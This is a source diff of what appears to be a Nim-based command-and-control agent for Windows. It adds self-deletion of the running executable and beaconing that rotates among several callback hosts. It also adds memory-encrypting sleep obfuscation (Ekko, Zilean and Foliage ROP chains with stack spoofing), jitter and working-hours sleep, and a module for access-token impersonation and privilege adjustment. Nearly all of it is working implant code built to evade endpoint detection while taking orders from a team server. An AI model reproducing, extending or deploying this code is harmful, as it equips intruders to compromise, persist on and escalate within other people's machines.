sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix())
profile: parseString(unpacker.getDataWithLengthPrefix()),
registered: false
)
wipeKey(agentKeyPair.privateKey)
echo protect("[+] Profile configuration deserialized.")
print "[+] Profile configuration deserialized."
return ctx
proc init*(T: type AgentCtx): AgentCtx =
@@ -51,7 +63,7 @@ proc init*(T: type AgentCtx): AgentCtx =
return deserializeConfiguration(CONFIGURATION)
except CatchableError as err:
echo "[-] " & err.msg
print "[-] " & err.msg
return nil

83
src/agent/core/exit.nim Normal file
View File

@@ -0,0 +1,83 @@
import winim/lean
import strutils, strformat, random
import ../utils/io
import ../../common/[types, utils]
type
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
FILE_RENAME_INFO2* = object
Flags*: DWORD
RootDirectory*: HANDLE
FileNameLength*: DWORD
FileName*: array[MAX_PATH, WCHAR]
FILE_DISPOSITION_INFO_EX* = object
Flags*: DWORD
const
RAND_MAX = 0x7FFF
FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex
FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002
fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class
#[
Delete own executable image from disk.
- https://maldevacademy.com/modules/72
]#
proc deleteSelfFromDisk*() =
let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString
var
szFileName: array[MAX_PATH * 2, WCHAR]
fileRenameInfo2: FILE_RENAME_INFO2
fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX
hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE
# Initialize fileRenameInfo
fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR))
fileRenameInfo2.RootDirectory = 0
fileRenameInfo2.Flags = 0
for i in 0 ..< newStream.len():
fileRenameInfo2.FileName[i] = newStream[i]
# Get full file name of the executable
if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0:
raise newException(CatchableError, GetLastError().getError())
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
if hLocalImgFile == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError())
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
raise newException(CatchableError, GetLastError().getError())
CloseHandle(hLocalImgFile)
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
if hLocalImgFile == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError())
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
raise newException(CatchableError, GetLastError().getError())
CloseHandle(hLocalImgFile)
proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) =
let hNtdll = GetModuleHandleA(protect("ntdll"))
if selfDelete: deleteSelfFromDisk()
case exitType:
of ExitType.EXIT_PROCESS:
let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
pRtlExitUserProcess(STATUS_SUCCESS)
of ExitType.EXIT_THREAD:
let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
pRtlExitUserThread(STATUS_SUCCESS)
else: discard

View File

@@ -1,17 +1,17 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../utils/io
import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
var heartbeatString: string
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
of "base64":
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of "none":
of protect("none"):
heartbeatString = Bytes.toString(heartbeat)
# Define request headers, as defined in profile
@@ -30,14 +30,14 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
of "header":
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
of "parameter":
of protect("parameter"):
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of "uri":
of protect("uri"):
discard
of "body":
of protect("body"):
discard
else:
discard
@@ -48,10 +48,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
ctx.registered = false
# Return if no tasks are queued
if responseBody.len <= 0:
let responseBody = waitFor response.body
if responseBody.len() <= 0:
return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
@@ -60,15 +68,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
of "base64":
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of "none":
of protect("none"):
return encResponse
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] " & err.msg
print "[-] ", err.msg
finally:
client.close()
@@ -77,7 +85,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
@@ -94,10 +102,13 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
try:
# Send post request to team server
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg
print "[-] ", err.msg
return false
finally:

View File

@@ -1,15 +1,18 @@
import winim/lean
import winim/inc/tlhelp32
import os, system, strformat
import ./cfg
import os, system, random, strformat
import ../utils/[cfg, io]
import ../../common/[types, utils, crypto]
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
# The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
# https://maldevacademy.com/new/modules/54
# https://maldevacademy.com/new/modules/55
# https://maldevacademy.com/new/modules/56
#[
Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
References:
- https://maldevacademy.com/new/modules/54
- https://maldevacademy.com/new/modules/55
- https://maldevacademy.com/new/modules/56
]#
type
USTRING* {.bycopy.} = object
@@ -95,11 +98,11 @@ proc GetRandomThreadCtx(): CONTEXT =
# Create snapshot of all available threads
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: CloseHandle(hSnapshot)
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
# Check if the thread belongs to the current process but is not the current thread
@@ -115,10 +118,10 @@ proc GetRandomThreadCtx(): CONTEXT =
if GetThreadContext(hThread, addr ctx) == 0:
continue
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
return ctx
echo protect("[-] No suitable thread for stack duplication found.")
print "[-] No suitable thread for stack duplication found."
return ctx
#[
@@ -144,41 +147,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
# Create timer queue
status = apis.RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.RtlDeleteTimerQueue(queue)
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
# Retrieve the initial thread context
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -192,7 +195,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -278,19 +281,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -316,38 +319,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventWait)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -361,7 +364,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -446,19 +449,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -477,20 +480,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
# Start synchronization event
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventSync)
# Start suspended thread where the APC calls will be queued and executed
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
echo fmt"[*] [{hThread.repr}] Thread created "
raise newException(CatchableError, status.getNtError())
print fmt"[*] [{hThread.repr}] Thread created "
defer: CloseHandle(hThread)
ctxInit.ContextFlags = CONTEXT_FULL
status = apis.NtGetContextThread(hThread, addr ctxInit)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
@@ -545,42 +548,87 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
inc gadget
# ctx[6] contains the final call, which exits the created thread after all APC calls have been executed.
ctx[gadget].Rip = cast[DWORD64](ExitThread)
ctx[gadget].Rip = cast[DWORD64](winbase.ExitThread)
ctx[gadget].Rcx = cast[DWORD64](0)
# Queueing the chain
for i in 0 .. gadget:
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Start sleep obfuscation
status = apis.NtAlertResumeThread(hThread, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
echo protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print "[-] ", err.msg
# Function to determine whether the agent currently operates within the configured working hours
proc withinWorkingHours(workingHours: WorkingHours): bool =
var time: SYSTEMTIME
GetLocalTime(addr time)
if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour:
return false
if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute:
return false
if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute:
return false
return true
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
proc sleepObfuscate*(sleepSettings: SleepSettings) =
if sleepDelay == 0:
if sleepSettings.sleepDelay == 0:
return
# Initialize required API functions
let apis = initApis()
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
# Calculate actual sleep delay with jitter
let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
var delay = int(rand(minDelay .. maxDelay) * 1000)
# Working hours
# https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650
# If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day.
if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours):
print "[*] Agent is outside of working hours."
delay = 0
# Get current time
var time: SYSTEMTIME
GetLocalTime(addr time)
let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute)
let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute
if minutesSinceMidnight < minutesUntilWorkday:
# We are on the same day as the start of the work day: calculate the difference between the two timestamps
delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000
else:
# Calculate minutes until midnight and add the minutes until the start of the workday
delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0)
@@ -596,16 +644,16 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
# Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
key.Buffer = keyBuffer.addr
key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len())
# Execute sleep obfuscation technique
case technique:
case sleepSettings.sleepTechnique:
of EKKO:
sleepEkko(apis, key, img, sleepDelay, spoofStack)
sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
of ZILEAN:
sleepZilean(apis, key, img, sleepDelay, spoofStack)
sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
of FOLIAGE:
sleepFoliage(apis, key, img, sleepDelay)
sleepFoliage(apis, key, img, delay)
of NONE:
sleep(sleepDelay)
sleep(delay)

380
src/agent/core/token.nim Normal file
View File

@@ -0,0 +1,380 @@
import winim/lean
import strformat
import ../utils/io
import ../../common/[types, utils]
#[
Token impersonation & manipulation
Resources:
- https://maldevacademy.com/new/modules/57
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
- Windows System Programming Security on INE (Pavel Yosifovich)
]#
# APIs
type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
NtSetInformationThread = proc(hThread: HANDLE, threadInformationClass: THREADINFOCLASS, threadInformation: PVOID, threadInformationLength: ULONG): NTSTATUS {.stdcall.}
NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.}
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
Apis = object
NtOpenProcessToken: NtOpenProcessToken
NtOpenThreadToken: NtOpenThreadToken
NtQueryInformationToken: NtQueryInformationToken
ConvertSidToSTringSidA: ConvertSidToSTringSidA
NtSetInformationThread: NtSetInformationThread
NtDuplicateToken: NtDuplicateToken
NtClose: NtClose
NtAdjustPrivilegesToken: NtAdjustPrivilegesToken
NtOpenProcess: NtOpenProcess
proc initApis(): Apis =
let hNtdll = GetModuleHandleA(protect("ntdll"))
result.NtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
result.NtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
result.NtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
result.ConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
result.NtSetInformationThread = cast[NtSetInformationThread](GetProcAddress(hNtdll, protect("NtSetInformationThread")))
result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken")))
result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose")))
result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken")))
result.NtOpenProcess = cast[NtOpenProcess](GetProcAddress(hNtdll, protect("NtOpenProcess")))
const
CURRENT_PROCESS = cast[HANDLE](-1)
CURRENT_THREAD = cast[HANDLE](-2)
proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
let apis = initApis()
var
status: NTSTATUS = 0
hToken: HANDLE
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
if status != STATUS_SUCCESS:
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
return hToken
proc sidToString(apis: Apis, sid: PSID): string =
var stringSid: LPSTR
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
return $stringSid
proc sidToName(apis: Apis, sid: PSID): string =
var
usernameSize: DWORD = 0
domainSize: DWORD = 0
sidType: SID_NAME_USE
# Retrieve required sizes
discard LookupAccountSidW(NULL, sid, NULL, addr usernameSize, NULL, addr domainSize, addr sidType)
var username = newWString(int(usernameSize) + 1)
var domain = newWString(int(domainSize) + 1)
if LookupAccountSidW(NULL, sid, username, addr usernameSize, domain, addr domainSize, addr sidType) == TRUE:
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
return ""
proc privilegeToString(apis: Apis, luid: PLUID): string =
var privSize: DWORD = 0
# Retrieve required size
discard LookupPrivilegeNameW(NULL, luid, NULL, addr privSize)
var privName = newWString(int(privSize) + 1)
if LookupPrivilegeNameW(NULL, luid, privName, addr privSize) == TRUE:
return $privName[0 ..< int(privSize)]
return ""
#[
Retrieve and return information about an access token
]#
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pStats: TOKEN_STATISTICS
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
let
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
tokenId = cast[uint32](pStats.TokenId).toHex()
return (tokenId, tokenType)
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pUser: PTOKEN_USER
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, status.getNtError())
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
if pUser == NULL:
raise newException(CatchableError, GetLastError().getError())
defer: LocalFree(cast[HLOCAL](pUser))
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pElevation: TOKEN_ELEVATION
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError())
return cast[bool](pElevation.TokenIsElevated)
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pGroups: PTOKEN_GROUPS
